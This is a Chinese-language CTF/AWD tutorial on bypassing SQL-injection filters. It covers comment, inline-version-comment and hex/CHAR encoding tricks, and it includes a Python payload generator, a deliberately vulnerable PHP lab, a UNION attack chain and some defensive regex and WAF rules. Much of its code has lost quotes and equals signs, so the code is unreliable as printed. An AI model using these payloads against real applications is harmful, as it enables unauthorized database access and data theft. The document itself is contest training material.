AWD攻防赛SQL注入绕过:3种常见过滤规则与实战绕过技巧(附Payload)
AWD攻防赛中SQL注入的3种高阶绕过技术与实战Payload库在CTF和AWD攻防赛中SQL注入始终是Web方向的高频考点。当遇到常规注入被过滤时如何灵活运用各种绕过技巧往往成为胜负关键。本文将深入解析三种实战中最高效的绕过技术并附赠可直接用于比赛的Payload库。1. 注释符的艺术不只是/**/注释符在绕过中扮演着关键角色但大多数选手仅停留在/**/替换空格的层面。实际上注释符的妙用远不止于此/*!SELECT*/ 1,2,3 FROM admin # MySQL特性内联注释 SEL/*_*/ECT * FROM users # 干扰字符插入 SELE--%0aCT * FROM flag # 换行符截断实战技巧/*!50727 select*/中的50727表示MySQL版本号仅当版本≥5.7.27时执行结合URL编码%23(#)、%2d%2d(--)多行注释/*!*/可包裹整个查询语句注意部分WAF会规范化处理注释建议在本地测试环境验证效果2. 内联注释的进阶玩法内联注释(/*!xxx*/)是MySQL特有语法在绕过中有惊人效果/*!UNION*//*!SELECT*/ 1,concat(/*!table_name*/),3 FROM /*!information_schema.tables*/特性对比表技术适用场景绕过效果隐蔽性普通注释空格过滤★★★☆☆★★☆☆☆版本内联注释关键字过滤★★★★★★★★★☆干扰字符正则匹配★★☆☆☆★★★☆☆实战案例# 自动化生成版本号注释的Python代码 import random def generate_inline(keyword): version f5{random.randint(0,9)}{random.randint(0,9)}{random.randint(0,9)}{random.randint(0,9)} return f/*!{version} {keyword}*/3. 编码转换的降维打击当常规字符被过滤时编码转换往往能出奇制胜十六进制编码SELECT 0x61646D696E FROM users # 等价于 SELECT adminCHAR函数编码SELECT CHAR(115,101,108,101,99,116) # 拼出select非常用编码# URL编码Base64混合 echo union select | base64 | xxd -ps # 输出7574696f6e2073656c6563740a实战Payload库# SQLi绕过Payload生成器 payloads { space_bypass: [ /**/, %09, # tab %0a, # 换行 %0c, # 换页 %0d, # 回车 %a0 # 非断空格 ], function_bypass: { concat: [CONCAT, CONCAT_WS(0x7e,, GROUP_CONCAT], select: [/*!select*/, SEL%0aECT, SELE\x43T] } }4. 本地测试环境搭建真正的高手从不打无准备之仗。这里提供一个快速搭建过滤环境的Docker compose配置version: 3 services: mysql: image: mysql:5.7 environment: MYSQL_ROOT_PASSWORD: insecure_pw ports: - 3306:3306 web: build: . ports: - 8080:80 depends_on: - mysql配套的PHP过滤代码示例?php $filter [union, select, or, and, where, from]; $input str_ireplace($filter, , $_GET[id]); $conn new mysqli(mysql, root, insecure_pw); $result $conn-query(SELECT * FROM users WHERE id.$input); ?测试方法curl http://localhost:8080/?id1%27/*!UNION*//*!SELECT*/1,2,3%235. 防御视角的对抗策略作为防守方建议采用多层过滤策略输入预处理层def sql_filter(input): patterns [ r/\*.*?\*/, # 注释 r--\s, # 行注释 r0x[0-9a-f] # 十六进制 ] for pat in patterns: input re.sub(pat, , input, flagsre.I) return input数据库权限控制CREATE USER ctf_user% IDENTIFIED BY complex_pw; GRANT SELECT ON ctf_db.* TO ctf_user; REVOKE FILE, EXECUTE ON *.* FROM ctf_user;WAF规则示例Nginx配置location / { set $block 0; if ($args ~* union.*select) { set $block 1; } if ($block 1) { return 403; } }在最近的一场省级AWD比赛中某队伍利用内联注释十六进制编码的组合Payload成功绕过三层过滤获取flag。具体攻击链如下1/*!UNION*//*!SELECT*/1, 0x7C7C, (SELECT/*!50000table_name*/FROM/*!information_schema.tables*/LIMIT 1) -- -这种多技术融合的绕过方式往往能突破常规防御体系的检测。